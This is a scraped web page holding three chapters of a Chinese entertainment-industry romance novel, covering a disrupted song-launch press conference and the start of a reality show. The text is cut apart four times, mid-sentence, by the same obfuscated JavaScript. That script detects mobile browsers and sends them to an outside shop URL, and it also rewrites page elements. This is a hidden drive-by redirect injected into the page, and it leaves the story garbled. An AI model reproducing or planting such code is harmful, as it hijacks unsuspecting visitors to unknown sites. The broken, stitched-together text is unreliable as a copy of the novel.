;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308712|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘶嘶——”云南白药的味道弥漫在空气里,脚踝上传来冰冰凉凉的触感。 “你的录音棚配备好齐全,”沈清柠找了个话题,“连云南白药都有。” “我自己用。” 到底是哪家的创作歌手,创作的时候还需要用到云南白药? “你脾气很好,很少有人和我待一天都不发火的。”顾颜榕突然开口道,“没几个人受得了我。” “还……还好吧。” “哦?那明天我就不收敛了。” ……原来还收敛了啊,真是活爹。 沈清柠低头看着顾颜榕英挺的侧脸,他正用手朝着刚喷了药的伤口扇扇,企图让它快点晾干。 其实他不工作的时候,还是挺温柔的。 “顾老师对谁都这么好吗?”沈清柠捏着裙角,情绪已经没有了方才的低落,她从来没想过自己可以这么近距离看到他,他原本是存在在画报上,像天神一样的人。 “不是。” 沈清柠的心砰砰直跳。 而后,她听到顾颜榕又说:“以前有个女生,扭了脚还要和我吵架,一瘸一拐地任性要自己走。结果后来到医院,医生把我们俩都骂了,说脚是不是不想要了。我才知道,女孩子可以这么倔的。” 这是今天他第一次说这么长的话,他此刻低着头,她看不太清他的表情。 “是顾老师喜欢的人?” 她突然觉得非常紧张,比刚刚在录音室里录歌时还要紧张百倍。 顾颜榕没有回答她,用绷带一圈又一圈缠上她的脚踝,牢牢系紧,最后,才如同自言自语般说了一句: “嗯,很喜欢的人。” 那一刻,如坠冰窟。 因为她看得到,他眼中的柔情和今天任何一个时刻都不一样…… 沈清柠关闭了淋浴,用手在脸上拍打了几下,水柱似乎让她此刻清醒了很多。 她在干什么?玩失恋吗? 她怎么也像那些未成年的小女生一样,对真嫂子破防了。 真该死。 眼下最重要的,是把《问》唱好。 沈清柠重新打开淋浴喷头,利索地洗漱起来。 已经两点了,明天还要准时出现在石英唱片,顾老师可说了,不会收敛了。 28. 潜规则 经过一个月的努力,沈清柠终于通过了顾颜榕的考验。 《问》的新歌发布会在北洋酒店举行,可真到了这天,顾颜榕却缺席了。 休息室里,沈清柠已经穿戴整齐,黄色的露肩长裙,左耳上方别了一朵大红花,衬得她整个人都更明艳了。 “不好意思,沈小姐,顾老师说有重要的事不能参加发布会了。”顾颜榕的助理对着沈清柠露出了非常不好意思的表情,临近发布会闹失踪,也就顾颜榕干得出来。 一旁的姜书语率先吐槽:“有没有搞错啊?什么事这么重要?” “……好像是去找一个人。” 闻言,沈清柠的手指蜷缩了一下,一下子抬起了头。 “他有说去哪里找吗?”沈清柠问。 “听说是隔壁市,我也不太清楚。” “哪有人说要办发布会,自己却不来的?”姜书语还是愤愤不平。 小助理一脸尴尬,解释道:“也不能全怪我们老大,他自己本来就没想开发布会,都是公司逼的。” 这首《问》是顾颜榕今年的第一首歌,依着和寰宇裴总的这层关系,石英唱片硬是没有收一分钱,现下不过是想多争取一些曝光机会,也无可厚非。 “在商言商嘛~”小助理卑躬屈膝,“互相理解,互相理解。” “那也不行!别以为是大顶流就能欺负我们小透明!”姜书语不依不饶,今日红唇配大波浪的造型也是下了功夫,此刻看来更添了几分不容抗拒的气势。 “姑奶奶,你饶了我吧。”小助理连连求饶。 “好了阿语,算了。”楚幺幺正在为沈清柠带上一条皓石项链,光洁的肩颈因为着一抹亮色更显春光。 “怎么能算了?”姜书语撩起袖子,不满到了极点,“外面乌泱泱的人都是来看顾颜榕的,待会儿阿柠一个人出去,怎么镇得住场子?” 此时,沈清柠只是温柔一笑,转身时看到了她一头彩色的定型夹,“没事的阿语,就算没有顾颜榕,这首歌一定也能让大家一秒就喜欢上,我有信心。” 她拉过楚幺幺和姜书语的手紧紧握住,眼神坚定又安抚,“他不来,那你们就陪我一起上台。” “啊?可以吗?这是你的单曲发布会。”姜书语一脸踌躇,可眼神里却满是期待,上次群星之夜后,她日日被幺幺逼着加强基本功,已经很久没有公开露面了。 “当然啦!我的荣誉就是桔梗少女的荣誉,你们在我身边我会更安心。” “呜呜呜,你太好了阿柠。”姜书语抱住了她,嘴里“咿咿呀呀”地发出撒娇声。 这时,工作人员来敲门了,“沈小姐,准备出场了。” “好。” 会场内光线骤暗,沈清柠凛凛如清泉的嗓音透过麦回荡在整个会场内—— “镜中光碎成凌晨的灯, 电话那头只剩忙音浮尘。 我数着残余的灰烬, 却数不到你转身的时分。 当吻痕渐渐变作陌生, 当体温悄悄散入冰冷; 为何誓言突然失了声, 我的追问在风里下沉? …… 把誓言埋进皱纹, 如果泪是倒流的雨云, 能否浇灌出——未拆封的春? 锁孔里转着永恒, 你的名字是回不了声的疼……” 一曲歌毕,现场响起了热烈的掌声,不少人窃窃私语。 “顾颜榕的词曲真是没话说,旋律好好听啊,我真的要哭了。” “呜呜,他真的好会写情歌,越苦越好听。” “想起了当初被《100Days》支配的日子。” “《100Days》我心中的失恋神作。” “‘你有100种方式离开你的恋人,而我有100天习惯心死’,谁懂?” “这得被甩了多少次才能写出这么苦的歌?” “开什么玩笑,谁敢甩了顾颜榕啊?” …… 议论声中,沈清柠缓缓从后台走出,身后跟着楚幺幺和姜书语。 主席台上已经为她们安排了三个位置,沈清柠坐在中央,楚幺幺和姜书语坐在两边。 美女主持在一旁引导流程道:“相信大家听完这首歌,一定有很多感触,下面是发布会的提问时间,请大家畅所欲言。” 第一排的记者率先发问:“沈小姐,今天新歌发布,顾颜榕怎么没来?” 沈清柠浅浅一笑,“顾老师临时有事来不了,但不管他在不在,都不影响这首歌本身的色彩。” 不知道是哪家媒体的寸头记者起了头,“不是吧,我听说录音期间顾颜榕对你很不满意,屡次冲你发脾气,这事整个石英唱片都知道。” “顾老师对自己的作品,要求比较高,录音的时候我们是正常讨论。”沈清柠依然保持着微笑。 那个寸头记者还是没想止住话题,继续说:“该不会是顾颜榕对你不满意,才故意不来吧?” 按顾颜榕的尿性,确实做得出来。 沈清柠被问得哑然,一瞬间,她突然自己也无法太确定顾颜榕是不是故意不来。 只这一秒的犹豫就被记者钻了空子。 “这首歌该不会是寰宇娱乐为了捧你们讨来的吧?” 话口子一被打开,边上帮腔的人也插起话来,“就是说,顾颜榕怎么可能心甘情愿为你们这种小团写歌?” “是啊,几个月前我连桔梗少女是谁什么都不知道,现在她们都能和顾颜榕合作了。” “被资本做局了!寰宇娱乐真是下了血本,捧这三个三年都没红起来的废物。” “谁知道她们在背后付出了什么?娱乐圈嘛,上位靠什么的都有。” …… 场下的话越发不堪入耳,楚幺幺将身前的麦拿下,在桌子上扣了两下,音响里立马传来了两声刺耳的巨响。 全场瞬间停止了议论,转头看向了台上楚幺幺。 楚幺幺举着话筒,一字一顿地说:“第一,以顾颜榕的脾气,来或不来全凭心情,和不满意这首歌无关,如果他不满意,大可以终止合作,既然没有,那就是满意。第二,不是顾颜榕为我们小糊团写歌,是他为自己的歌找到了最适合的声音。第三,这是《问》的新歌发布会,我希望在座的各位能够多问和作品相关的问题,不要恶意诋毁别人的付出。” 句句铿锵,可显然不是所有人都听得懂。 寸头记者歪嘴一笑,“楚小姐,这样开发布会多没意思,发布会没有噱头我们回去也不好写稿啊,是不是?” 他张扬的一问,竟引得在场的其他记者纷纷应和。 “是啊,是啊。” “就是,问正经问题谁看这新闻啊。” “搞出点大新闻才是实际的。” …… 楚幺幺眼神略过前几排的记者,目光落到了寸头记者的身上,“你是哪家的?” 寸头记者的话筒上并没有媒体标志,他扯了扯胸前的衣料,露出他佩戴在胸口的胸章——周小瓜。 周小瓜,半年前在圈内突然冒头的一家私人媒体,以偷拍明星私生活为乐,靠着售卖“恋情瓜”“出轨瓜”的一手照片混得风声水起。 寸头哥一脸骄傲,楚幺幺只是不轻不重地说:“据我所知,这次发布会并没有邀请私人媒体,不是四柱三台,你是怎么进来的?” 娱乐媒体的四柱三台,指的是四大央媒和三大地方台,在娱乐圈颇具影响力。 “破防了?”寸头记者死皮赖脸,不以为耻,“我能进来靠的是自己的本事,我敢问问题,你们不敢答,是心虚吗?” “我们靠的是自己!”姜书语中气十足地回应道。 “别扯淡了。娱乐圈是你们努力就能出头的?我调查过你们,出道三年连个响屁都没有,这几个月曝光率激增,说是靠努力,你们自己信吗?” …… 楚幺幺沉默不语,另一侧的姜书语已经捏紧了拳头,时刻想要冲上去揍这人一拳。 见台上的三人没有反应,寸头哥又加大了码力,“靠人不可耻,楚小姐不也是靠着别人才走到今天吗?” “你什么意思?” 这场发布会,显然已经变了性质。他们在这里对峙了这么久,竟然没有一个人上来拦下这个记者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320120|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放眼一圈,石英唱片的人没有动,寰宇娱乐的人也没有动。 石英唱片为的是话题度,反正受伤的不是他们公司的艺人,冷眼旁观也就算了,那寰宇娱乐呢? 楚幺幺环视了一圈,终于在会场的最后面看到了那个戴着墨镜和头巾的女人——宋雨桐。 这个人,还真是湿手沾面粉,甩都甩不掉。 如果是Fire下的指令,让寰宇娱乐的工作人员不出手,就说得通了。毕竟,她们才是寰宇娱乐目前创收最大的女团,拥有绝对的话语权。 寸头记者洋洋自得,显然对自己成为本场的焦点很是满意,“上位都要付出一点代价,我听说寰宇娱乐可都是男高管,不知道各位是攀了哪个高枝?” “放你妈的狗屁!”姜书语猛地一拍桌子站起来,食指指向对面的人,“嘴巴给我放干净点!” 寸头记者端着相机“咔咔”对着姜书语就是一顿连拍,随即低头翻看相机里的照片,满意地笑了。 一旁,沈清柠也站了起来,将姜书语伸出去的手按了回来。 很显然,这人就是想逼她们生气,再以此大作文章,书语指着镜头的照片,难保明天不出现在娱乐新闻头条。 沈清柠强忍下怒火,指向了门口,尽管语气还是一贯的平和,“这里不欢迎你,请你出去。” “人还没火呢,架子就起来了?”寸头哥步步紧逼,来之前他就打听过了,这个团里沈清柠是脾气最柔和的,再怎么惹也难出新闻,他想着,随即又看向了楚幺幺,“楚小姐,没什么话要说?” “没有做过的事,没什么好说的。”楚幺幺眼依然坐着,不为所动。 “没有做过?”寸头哥继续发力,从兜兜里摸索着掏出来几张照片,随手就撒到了地上,“那这是什么?“ 照片在半空中飘飘扬扬,飘散得到处都是,现场的其他记者纷纷探着脑袋看。 照片里,一个身材颀长的男人抱着楚幺幺上了一辆迈巴赫,西装盖在她的身上,她纤瘦光洁的双腿挂在男人的手臂上,微微偏着头,男人的脸不清晰,但她的脸却拍得清清楚楚。 楚幺幺眉头一皱,这照片是她被宋雨桐下药那天,从医院出来时被偷拍的。 她和裴宴林在一起这么多年,一张照片都没有流出过,怎么现在让人把照片甩到她跟前来?裴宴林身边的助理,真是越来越懈怠了。 会场里瞬间爆发出了一阵骚动,记者们对着地上的照片一顿猛拍,话题陡然被转移到了楚幺幺身上。 寸头记者起了个头:“楚小姐,这辆迈巴赫可是同号车牌,当年寰宇集团买了六辆,奖励给具有突出贡献的员工。” 人群里各方骚动,记者们纷纷从位子上挤到了桌前,围着楚幺幺兴奋地提问。 “楚小姐,这照片你怎么解释?” “楚小姐,你和寰宇的高层真的存在不正当关系吗?” “楚小姐,据我所知,寰宇集团奖励迈巴赫的员工,年龄最小的也已经48岁了。” …… 会场里还有其他人在小声议论。 “不会吧,我还真以为她是靠实力上来的呢,原来真的是靠潜规则啊。” “她才十八岁诶,被四十八的……” “娱乐圈哪那么好爬啊?事出反常必有妖!” “娱乐圈的女明星有几个是干净的。” …… 楚幺幺没有动,寸头哥却更咄咄逼人:“楚小姐,是准备默认了?” 姜书语一把将楚幺幺拦在身后,杵着桌面,恶狠狠地对着寸头哥说:“我们幺幺才不会干这种事情!你不要血口喷人!” “我会说谎,照片又不会说谎。” “照片……照片是假的!”姜书语急得大吼。 “哦?你说照片是假的?”寸头哥更来劲了,照片是真是假,只要一鉴定就知道。 这时,姜书语的衣角被人拉了拉,她回过头就看到了楚幺幺那张沉着中带着不屑的脸,不由一愣。 她在被诋毁,她怎么能这么冷静? 楚幺幺站了起来,望着记者“如狼似虎”的眼神,掷地有声地说了四个字,“照片是真的。” 29. 又来一活爹 “幺幺,你不要胡说。”沈清柠小声低语,这要是承认了傍大款,她的名声就完了。 “那你是承认你被包养了?”寸头哥也被她这一出“认账”打了个措手不及。 “我只是说照片是真的。”楚幺幺抢回了主动权,反问寸头哥,“你这么厉害,怎么这里每一张照片都没有拍到男主的脸?” 第一张是远景,男人把她抱在怀里,从医院的台阶走下来。 第二张是近景,清晰拍到了楚幺幺倒在别人怀里的侧脸,只微微带到男人的领带。 第三张是背影图,拍到了男人抱着人朝着迈巴赫走去,镜头带到了车牌“城A.88888”。 …… “还真是,每一张都没有男主的脸,全是楚幺幺的。” “对哦,怎么回事儿?” 寸头哥不着声色地吞咽了一口唾沫,这些照片是不日前宋雨桐给他的,有人主动送“瓜”,他一时忘乎所以,丝毫没有注意到这个问题。 “怎么?难道你又想说照片是伪造的?” 楚幺幺摇了摇头,脸上露出了一个惋惜的表情,“我只是替你可惜,怎么没拍到男主的正脸呢?” 宋雨桐要陷害她,却还是不舍得让裴宴林和她传绯闻,连这几张照片都是精心挑选的,刻意避开了裴宴林的正脸。 “那又怎么样?我拍到你上寰宇高管的车了,你没法抵赖。” “你知道为什么寰宇集团只奖励了六辆同号车牌的迈巴赫,而照片里的这一辆,车牌却是五个八吗?” 场内陷入了沉默,所有人面面相觑,都答不上来这个问题。 “我怎么知道?”寸头哥咬牙切齿,有些不耐烦了。 “那是因为‘4’这个数字不好,所以没有五个四的车牌。” “嗤,”寸头哥斜睨向楚幺幺,不屑一笑,“胡说八道,要真是这个原因,剔除4,不是应该有七辆车吗?” “诶?原来你会思考啊?”楚幺幺故作惊讶。 “你!你不要转移话题!” “我没有转移话题。寰宇集团确实奖励了六辆车,车牌分别是五个1到五个7,中间没有4。所以,这辆五个8的车,并不在奖励的范围。”楚幺幺继续解释,身旁的姜书语挠着头和沈清柠对望了一眼,一副要长脑子的表情。 寸头哥叉着腰,冷笑一声,“你是想说,这辆车不是寰宇的?楚小姐,我劝你别撒谎了,这辆车就是从寰宇的地下车库里开出来的。” “不,这辆车是寰宇的,只不过是裴宴林的。”楚幺幺说这话时,目光望向了会场后排的宋雨桐,隔着墨镜和口罩,她都能感觉到她的脸色并不好看。 既然宋雨桐不想裴宴林下水,那她就必须拉他下水了。毕竟,让敌人不痛快也是胜利的一部分。 此话一出,现场的记者们更加雀跃了,就像饿了几天刚出笼的鸡,对着一地的米疯狂啄。 “楚小姐,您是说,是裴总包养了您?” “不过,看这身高体型,还真有点像。” “虽然穿着衬衫,但光看手臂肌肉就知道是个年轻帅哥啊,怎么可能是四十几岁的老男人?” “不可能吧,裴总不近女色,上到助理,下到养的狗都是公的。” “对对,我还听说他不喜欢女人!” “包不喜欢的啊,他连秘书都只要男的,好多老总都说和他谈生意最没意思,全是臭男人。” …… 一旁的姜书语挠头的频率更快了,这发布会再开下去,她的头发都快被她挠秃了,这都是些啥啊? 楚幺幺冲着人群微微一笑,不咸不淡地说了一句:“不,是我正在追他。” “啊?”姜书语情不自禁发出了一声土拨鼠叫。 她抬头看向楚幺幺,恍惚她讲的到底是真的还是假的,她判断百分之八十是假的,但她百分之百可以确定,楚幺幺玩他们,跟玩狗似的。 剧情走向已然成谜,从一开始的“被老男人包养”,到傍上了“裴总”,再到现在,她在追“裴总”,楚幺幺真该去当编剧。 趁着在场的人恍惚的劲儿,楚幺幺趁胜追击:“怎么了?裴总长得帅又多金,身材相貌无人能及,我情不自禁心动了一下,不过分吧?” 在场的人也恍惚了一下,认真思考之下似乎觉得非常在理—— “不过分,说实话我也想去。” “裴总这种冷面修罗都敢上,楚幺幺真的不怕被丢出来吗?” “你懂什么?女怕缠郎,男怕磨。” …… 寸头哥见风向跑偏,又出来带节奏:“你说这是裴宴林,有什么证据?” “这辆五个8的车,大家随便查一下就能知道车主是不是裴总。” “那……也不能说明你没被包养,被裴总包养也是被包养!”寸头哥被下了面子,心急如焚。 楚幺幺丝毫不慌,轻描淡写地说:“我要是被裴总包养了,今天你还能站在这里质问我吗?” 这话的说服力极强。 这么多年,裴宴林身上没有一条八卦新闻,有心人就算敢拍也没人敢登。 寰宇娱乐一直稳坐娱乐圈第一把交椅,每年的市值朝千亿,在内娱可谓是横行霸道式的存在。可即便如此,它的体量也不过是寰宇集团的十分之一,连寰宇娱乐都不敢惹的人,谁还敢去惹集团的实际掌舵人? “那……你怎么解释他……他抱着你。”寸头哥瞬间没了气焰。 “那天我吃坏了东西,裴总心善送我去医院。娱乐圈江阔水深,坏人可是很多的,保不齐哪天就被人当枪使了,如果我是你,就把照片收起来藏好,毕竟,裴总很不喜欢。”楚幺幺挑着眉悻悻然地说。 会场里,瞬间连快门声都没有了。 记者朋友们听了这话,快门是按也不是,不按也不是,彼此互相看看,一时有些难以收场。 这时,酒店会场的大门被推开了,一个修长的身影从外往里走了进来,“听说有人,在欺负我的人合作伙伴?” 顾颜榕迈着潇洒的步伐,一步一步走到台前来。 楚幺幺没好气地瞪了他一眼,眼神光恨不得杀他个一百遍。 他可这会挑时间,等她杀得差不多了,出来MVP结算了,坏事一点不沾,好事是一点不落下。 顾颜榕显然是感觉到了楚幺幺的目光,嘴角竟起了笑意,他站到沈清柠的身侧,说:“我的新歌不好听吗?一个个表情这么难看?” “好听好听。”现场响起了粉丝的应和声。 气氛还是有些尴尬,有人出头打圆场,“顾老师的歌当然好听啦,我们听完觉得无可挑剔,就和沈小姐她们聊了会儿天。” 顾颜榕当然没有信,这些记者捧高踩低的眉眼,他再清楚不过了,“聊天吗?我怎么听说,你们在质疑我的品味,挑剔我的搭档?” 看样子,他人没来,眼线反馈消息倒是很及时。 “怎么,怎么会……”讲话的人舌头都打结了。 活爹,又来一活爹。 如果说裴宴林是霸总界的活爹,顾颜榕就是娱乐圈的活爹,而且更贴脸,更无差别攻击,更不讲道理。 顾颜榕双手插兜,语气不紧不慢,“事实就是,我求了沈小姐五次,她才同意和我合作。” 现场的人倒吸了一口凉气,高高在上的顾颜榕会求人? 圈内小到刚出道,大到快退休,有多少人求着顾颜榕作曲等着一炮而红,他的歌一曲难求,哪一首不是卖出天价,他竟然去求一个十八线小艺人唱他的歌? “沈小姐好说话,我可不。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328511|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果今天我从她嘴里听到任何一句,对某个媒体的负面评价,你们后果自负。”顾颜榕话讲完,现场的气氛更是降到了冰点。 他的眉眼微微一动,视线落向了地面,弯腰捡起了地上的一张照片,终于看清照片上的人,他的食指和中指夹住照片,望向了楚幺幺,“这是什么?” 照片上,她正靠在裴宴林的肩头,隔着车窗隐隐能看到她的脸,以及裴宴林并不清晰的轮廓,但顾颜榕明显认出了他。 楚幺幺心里叫苦不迭,还未答话,台下一家地方台的记者却接了话:“这是楚小姐和寰宇娱乐的裴总,楚小姐说,她正在追求裴总……这事儿,顾老师,您知道吗?” 楚幺幺抿着唇,伸手抹了一下前额,感觉自己额角有汗流过。 顾颜榕浅笑了一下:“隐隐有听说。” 听说你个咸蛋大猪头! …… 一场发布会闹剧终于落幕,楚幺幺伸着懒腰,疲惫地靠在沙发上。 刚刚在后台,她已经把顾颜榕怼了一通,指着他的鼻子就是一顿输出:“顾老师,麻烦你有点责任心,这次发布会他们是来看谁的你心里没点数吗?!阿柠被质疑的时候你在哪里?他们一群小丑在台子上跳舞时候你又在哪里?发布会是你们要开,逃兵是你们要当,收尾了知道出来说几句吉祥话了,你以为你是吉祥物吗?!” 说完,她的气消了大半,却把一旁的沈清柠和姜书语吓得不轻。 放眼娱乐圈,谁敢这么和顾大顶流说话啊。 “幺幺……”姜书语猛咽了一口口水尴尬地露着大白牙,却不知道该怎么合上。 没想到,顾颜榕不怒反笑,像是被骂爽了一般:“好久没有被人这么骂过了。”表情既享受又变态。 自从阿漾走后,好久没有人能这么一气呵成地骂他了。 好怀念啊…… …… 楚幺幺心里闪过四个大字:他是真贱! 临走前,顾颜榕为了表示歉意,说手头上有一个通告要给楚幺幺。 楚幺幺看他那像从指缝里露出一点施舍的表情,火瞬间又上去了,断然就给拒了,即便现在躺在沙发里,还是一股无名火。 沈清柠坐到她身边,为顾颜榕说好话:“幺幺,其实顾颜榕挺好的,他今天可能真的是有急事。” “对啊对啊,他今天好帅!人也好好,竟然为了帮我们解围,放低姿态说求了阿柠五次她才同意录歌。”姜书语两眼冒着星星,一脸崇拜。 “你想多了,他只是纯粹不想让那些记者好过罢了。”楚幺幺一针见血。 “啊?” “他讨厌他们,也不见得喜欢我们。” 沈清柠从包里翻出了一张邀请函递给楚幺幺,“幺幺,这是顾颜榕让我给你的。” 是刚刚他在后台说的那个通告。 “我不要。”楚幺幺翻了个身,面朝上躺着。 “幺幺,你就看一下嘛。”姜书语也在帮腔。 “不、要。”她闭上了眼,抗拒一切劝慰。 她又不是小狗,给根骨头就往上凑。 …… 没辙。 沈清柠和姜书语对望了一眼。 “是什么通告啊?”姜书语扁扁嘴,伸手接过沈清柠手中邀请函,说,“我来看一下。尊敬的楚幺幺女士,我们诚挚地向您发出邀请——《片场进行时》,本次节目由姚成导演和影帝陆淮亲临指导,参与节目的嘉宾将有机会参与电影《金雾弥漫》拍摄……” 姜书语的话还没说完,手中的邀请函就被楚幺幺抽走了。 楚幺幺不知何时已经坐了起来,正一脸严肃地一行一行看着邀请函上的字,好像要将那张纸“烫”出一个洞来。 《金雾弥漫》——那部她还来不及拍完的戏。 30. 等 《片场进行时》录制现场。 “楚幺幺!真的是你呀!” 一股清甜的香水味从楚幺幺的身后飘来,还来不及反应,那人已经蹿到她背上,双手揽住她的脖子,双脚勾在她的腰际,脖子上的力道险些要把她掐死。 “陈……陈渺?” 陈渺从楚幺幺背上一跃而下,绕到楚幺幺跟前开心地扭动着,脸上的笑容灿烂得像春日里的花,“我爸说这节目会有惊喜,原来惊喜是你呀!” 楚幺幺看着她俏皮的模样,眼底闪过一丝笑意,“我看你也不是为了我上这节目的,为了谁,我就不知道咯~” 这节目的其中一个导师是影帝陆淮,为了谁,还用说吗? 她来了她来了,她带着她发芽的恋爱脑走来了。 “哎哟~别瞎说!”心思被道破,陈渺娇羞地用肩膀撞了撞楚幺幺,小脸绯红。 楚幺幺牵了牵嘴角,目光透过陈渺飞扬的发丝,投向不远处。 路边,一辆保姆车缓缓打开,一旁的工作人员娴熟地上前撑伞,一双细跟高跟鞋从车里迈出来,露出洁白细腻的小腿。 路雅宁一身当季高定,华光流转,丝绒般的红唇勾起若有似无的弧度,阳光吻过她妆容无瑕的脸,勾勒出精心雕琢的轮廓——惊心动魄,而又优雅天成。 这张脸,是多少Fire粉丝的入坑之作,而谁又知道这张美貌的皮下,竟然藏着一条毒蛇。 楚幺幺的指甲深深掐进掌心,尖锐的疼痛勉强压住了那股几乎要冲破喉咙的血腥味。 那天在游轮上,那双看似柔弱的手带着狰狞的恶意,狠狠推在她的肩膀,冰冷的海水裹挟着绝望朝她涌来,呼吸越来越困难,意识逐渐消散,她永远忘不了路雅宁眼中那令人胆寒的杀意…… “幺幺,你怎么了?”陈渺握住了她的手,声音带着娇憨的抱怨,“手怎么都凉了?别怕别怕,就当是来玩嘛!不用紧张!” 这时,一个扎着丸子头的女生从另一辆车上下来了,她一眼就看到了同时到达的路雅宁,赶忙迎了上去,两人看起来相谈甚欢,一路相携走进了屋子。 这是一间录影棚,棚内陈列着四张椅子,一面墙上悬挂着油画,油画正下方则摆放着一张长桌和配套的四把座椅。 路雅宁一进来,就目不斜视地挑选了最中间的那张椅子坐下。 “路姐,您今天状态真是太好了。”冯静怡拿了一瓶节目组赞助的“悦然”矿泉水,殷勤地递给路雅宁,脸上堆满了讨好的笑容,“皮肤在阳光下那么透亮,真不愧是寰宇的顶梁柱!” 路雅宁接过矿泉水,嘴角还挂着恰到好处的笑。 “她谁啊?”一旁的陈渺悄悄戳了戳楚幺幺的手肘问。 “冯静怡,网剧《恋恋小厨娘》的女主角,最近挺火的。” 网剧《恋恋小厨娘》,小成本制作却大获好评,网播量达三亿。作为冯静怡的处女之作,直接将她进入了正剧队伍,听说好多编剧递本子都被她拒了,原来是来参加这个节目了。 冯静怡在路雅宁边上坐下,极其自然地伸出手,亲昵地挽住了路雅宁的胳膊,身体微微倾向她,“天哪,我超级喜欢Fire的!尤其是你!你们的每一首歌我都会唱!” 她甜腻的嗓音像是有一种魔力,控制不住地往耳朵里钻:“只可惜,现在程漾走了,整个寰宇娱乐,都靠路姐养了!” 这马屁拍的,当真是响亮。 “靠路姐养吗?我怎么不知道?”一个带着明显嘲讽的女声陡然响起,像一块冰砸进这虚伪的热络里。 众人循声望去。 Amy姐不知何时已站在几步开外。 她穿着利落的黑色西装套裙,妆容一丝不苟,眼神锐利如鹰隼,嘴角挂着一抹毫不掩饰的冷笑,正盯着冯静怡,身后还跟着两个助理,气场迫人。 冯静怡脸上的笑容瞬间僵住,挽着路雅宁的手也尴尬地松开了,眼神慌乱地闪烁着。 还是路雅宁反应快,脸上立刻堆起谦逊温顺的笑容,抢先一步上前,声音带着恰到好处的亲昵:“Amy姐,怎么亲自来了?静怡她就是心直口快,小孩子乱说话,您别介意。” 她一边说着,一边用眼神示意冯静怡。 冯静怡赶忙摆着手否认:“不不不,我不是这个意思……” Amy的目光淡淡扫过路雅宁,最终落在脸色煞白的冯静怡身上:“二十多岁的小孩子?圈子里的规矩,祸从口出的道理,看来是没人教过你?” 冯静怡站在原地,低着头不敢接话。 Amy的目光又转向路雅宁,在她脸上停顿了两秒,那审视的意味浓得化不开,最终,她没有再继续这个话题,只是冷哼一声,转向节目组的总导演,换上了一个和善的笑容,公式化地交代:“李导,雅宁和幺幺,是寰宇娱乐的重点艺人。节目录制期间,还请您多关照。” 她的视线扫过楚幺幺时,只短暂停留了一瞬,便移开了。 “应该的,应该的。”跟着Amy姐一同进来的李导连忙点头。 随后,她对路雅宁和楚幺幺简单交待了几句场面话,便雷厉风行地转身离开了。 一场小小的风波被Amy强势压下,留下冯静怡无地自容的尴尬,以及路雅宁眼底一闪而逝的恼怒。 陈渺在一旁看得目瞪口呆,吐了吐舌头,小声对楚幺幺嘀咕:“Amy姐好吓人……” 几个人在李导的安排下都坐下了,楚幺幺坐在最边上,路过路雅宁的座位时,后者甚至没有抬头,只是有些嫌弃地拉了拉裙边,担心被她踩到。 李导:“各位稍等片刻,等四位导师到了,我们就开录。” 录影棚里摆着广告牌和横幅,横幅上写着:本节目由‘源于自然,归于自然’的悦天集团独家冠名播出的! 悦天集团? 陈渺注意到楚幺幺一直盯着一个方向看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337283|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顺着她的视线望过去,就看了节目组的广告牌和横幅。 “很不对劲对不对?悦天集团的老总最讨厌娱乐圈的人,没想到会来投资,我也觉得很奇怪。” 楚幺幺挪开了视线,不自觉深吸了一口气。 是啊,是很讨厌。 悦天集团的老总叫程致远——是她的父亲。 “来了来了!”陈渺突然两眼发光,拍拍楚幺幺的肩兴奋地手舞足蹈。 楚幺幺顺着她热切的目光望过去,门外,四位导师正迎面走来。 走在最中间的是姚成导演,他的个子不高,穿着件洗得发白的旧夹克,自然卷的头发看起来有些凌乱,眼神却像鹰隼般锐利,扫视过来时带着沉甸甸的压力,仿佛能穿透皮囊,直抵灵魂。 他身后还跟着几个人,其中那个气场沉稳、面容严肃的中年男人,是香港名导冬哥。 另一侧的陆淮穿着一身剪裁利落的深灰色西装,下颚线绷得紧紧的,侧脸的线条冷峻而清晰,充满侵略性的长相散发着生人勿近的气场。 走在最后的是陈星河,陆淮的同门师弟,阳光俊朗的脸上带着谦逊的笑容,礼貌地向几位导师和前辈点头致意。 